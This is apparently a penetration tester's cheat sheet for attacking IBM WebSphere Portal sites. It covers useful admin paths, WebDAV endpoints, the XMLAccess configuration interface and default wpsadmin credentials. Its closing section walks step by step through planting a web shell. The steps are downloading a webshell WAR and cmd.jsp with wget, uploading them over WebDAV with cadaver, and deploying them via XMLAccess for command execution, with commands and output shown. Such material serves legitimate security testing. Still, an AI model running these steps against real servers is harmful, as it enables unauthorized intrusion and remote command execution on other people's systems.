## Intro
There are little resources and even less tools available to test the security of a WebSphere Portal website, although they are common in the corporate environment. Most of the stuff described here will seem obvious to people who work daily with this huge piece of software and in fact the objective here is to build more of a cheat sheet that a proper guide.
### Useful resources
* [WebSphere Portal Docker Image](https://hub.docker.com/r/ibmcom/websphere-portal/)
* [Official HCL Documentation](https://help.hcltechsw.com/digital-experience/9.5/welcome/wp95_welcome.html)
* [XMLAccess manual](http://www.setgetweb.com/p/portal615/admin/Work_with_xmlaccess83.html)
* [WebSphere password decoder](https://strelitzia.net/wasXORdecoder/wasXORdecoder.html) - [Alternative](http://www.sysman.nl/wasdecoder/)
### What to look for
WebSphere portal (from here WPS) is a CMS deployed on top of the WebSphere Application Server (WAS). It's written mainly in Java, utilizes a heavy dose of XML and is heavy and obscure as most IBM software is. The documentation is huge and it's hard getting around it within the timeframe of a penetration test.
As Tomcat does, WAS has an administrative interface where an application can be deployed and managed. This console would normally be on the port 9060 (http) or 9043 (https). This means that in a normal scenario it won't be exposed to the internet when facing internet-facing websites (a different story might be in intranet portals). At the same time, there are standard administrative portlets deployed by default. We'll look at interesting URLs in the next section.
The main objective is to obtain at least a directory traversal vulnerability and from there gain code execution. An example of this type of vulnerability in WPS is [CVE-2012-4834](https://nvd.nist.gov/vuln/detail/CVE-2012-4834) and although old it might still be found on legacy websites. This kind of vulnerabilities can of course also be in custom portlets, JSP pages or other dynamic content. Once there's an arbitrary file read it should also be possible to get a lot of useful additional information, including JDBC objects, LDAP binds and of course administrative credentials.
### Url Scheme
[This is an interesting read](https://www.optiv.com/explore-optiv-insights/blog/decoding-ibm-webshere-portlet-urls) and there's also a Burp plugin. URLs can also be plaintext.
### Interesting paths
Here's a short list of interesting paths and what they means (assuming that the base is `/wps`:
* `/wps/portal` - Default main portlet
* `/wps/login` - Default login portlet
* `/wps/proxy` - Default proxy portlet. Normally there's a few whitelisted sites including `/wps/proxy/http/www.ibm.com`
* `/wps/federated`
### WebDAV
By default, there are multiple WebDAV endpoints as described [here](https://help.hcltechsw.com/digital-experience/9.5/admin-system/mash_webdav_store.html).
Visit `/wps/mycontenthandler/!ut/p/model/service-document` to list the available endpoints. (this page might require an user)
Example output:
```
fs-type1-fs-type1
fs-type1-user
```
As we can see here's the user filestore meaning that also low privileged users should have write permissions in their own directory.
Other administrative WebDAV endpoints includes:
* `/wps/mycontenthandler/dav/themelist`
* `/wps/mycontenthandler/dav/skinlist`
* `/wps/mycontenthandler/dav/contentmodel/wps.content.root/`
* `/wps/mycontenthandler/dav/content/libraries/`
[Here are some additional information.](http://blog.sivavaka.com/2011/03/webdav-websphere-portal.html)
### XMLAccess
XMLAccess is an administrative configuration endpoint, based on XML which is commonly available on the internet at the path `/wps/config`. If that path requires authorization or returns a `405` code for a GET request than the interface is available and administrative credentials are required.
For ease of use, [I have extracted the XMLAccess utility and modified it to work standalone](https://git.lsd.cat/g/xmlaccess).
Here's the standard usage:
```
./xmlaccess.sh -url http:///wps/config -in xml/ExportAllUsers.xml -user wpsadmin -password wpsadmin
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
EJPXB0002I: Reading input file /tmp/xmlaccess/xml/ExportAllUsers.xml
EJPXB0020I: The request was processed successfully on the server.
```
Available examples are in the `xml` folder on the `xmlaccess` repo.
### Executing code
Here's an example of how to gain code execution knowing the administrative credentials and using WebDAV and XMLAccess. In the case that the target server does not block outbound connections, it might be possible to skip the WebDAV usage and deploy a portlet directly via HTTP.
A portlet needs some more configuration files than a standard Tomcat war application. [A useful example can be found here](https://github.com/kost/webshell-portlet). In this case, it is easier to add a JSP file to the WAR and use it as a command shell.
Prepare the portlet
```
wget https://github.com/kost/webshell-portlet/raw/master/bin/ExecCmd-2.0.war
wget https://gist.githubusercontent.com/ErosLever/7445a3cfaaf80f1f5a53/raw/f14a53bd1095a387c063466167d49c20bb94050a/cmd.jsp
mv ExecCmd-2.0.war shell.war
zip shell.war cmd.jsp
```
Upload it via WebDAV (cadaver is a CLI WebDAV client):
```
cadaver 'http://116.203.252.192:30015/wps/mycontenthandler/!ut/p/dav/fs-type1/'
Authentication required for WPS on server `116.203.252.192':
Username: wpsadmin
Password:
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/> ls
Listing collection `/wps/mycontenthandler/!ut/p/dav/fs-type1/': succeeded.
Coll: common-resources 4096 Jul 13 2019
Coll: iwidgets 4096 Jun 26 2009
Coll: layout-templates 4096 Jun 26 2009
Coll: public 4096 Jun 26 2009
Coll: skins 4096 Jun 26 2009
Coll: system 4096 Jun 26 2009
Coll: themes 4096 Jul 13 2019
Coll: users 4096 Jun 26 2009
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/> put shell.war
Uploading shell.war to `/wps/mycontenthandler/!ut/p/dav/fs-type1/shell.war':
Progress: [=============================>] 100.0% of 6267 bytes succeeded.
dav:/wps/mycontenthandler/!ut/p/dav/fs-type1/>
```
In the docker container, the file will end in `/opt/IBM/WebSphere/wp_profile/temp/dockerNode/WebSphere_Portal/JCRFileStore/filestore/fs-type1/shell.war`.
Now prepare the XMLAccess DeployPortlet command ans save it as `DeployPortlet.xml`:
```
file:///opt/IBM/WebSphere/wp_profile/temp/dockerNode/WebSphere_Portal/JCRFileStore/filestore/fs-type1/shell.war
/wps/shell
```
And fire it:
```
./xmlaccess.sh -url http:///wps/config -in DeployPortlet.xml -user wpsadmin -password wpsadmin
Licensed Materials - Property of IBM, 5724-E76, 5724-E77, 5724-I29 and 5655-Y16, (C) Copyright IBM Corp. 2001, 2014 - All Rights reserved. US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
EJPXB0006I: Connecting to URL http://116.203.252.192:30015/wps/config
EJPXB0002I: Reading input file /tmp/DeployPortlet.xml
EJPXB0020I: The request was processed successfully on the server.
```
The webshell will be now available at `http:///wps/shell/cmd.jsp` and will be working.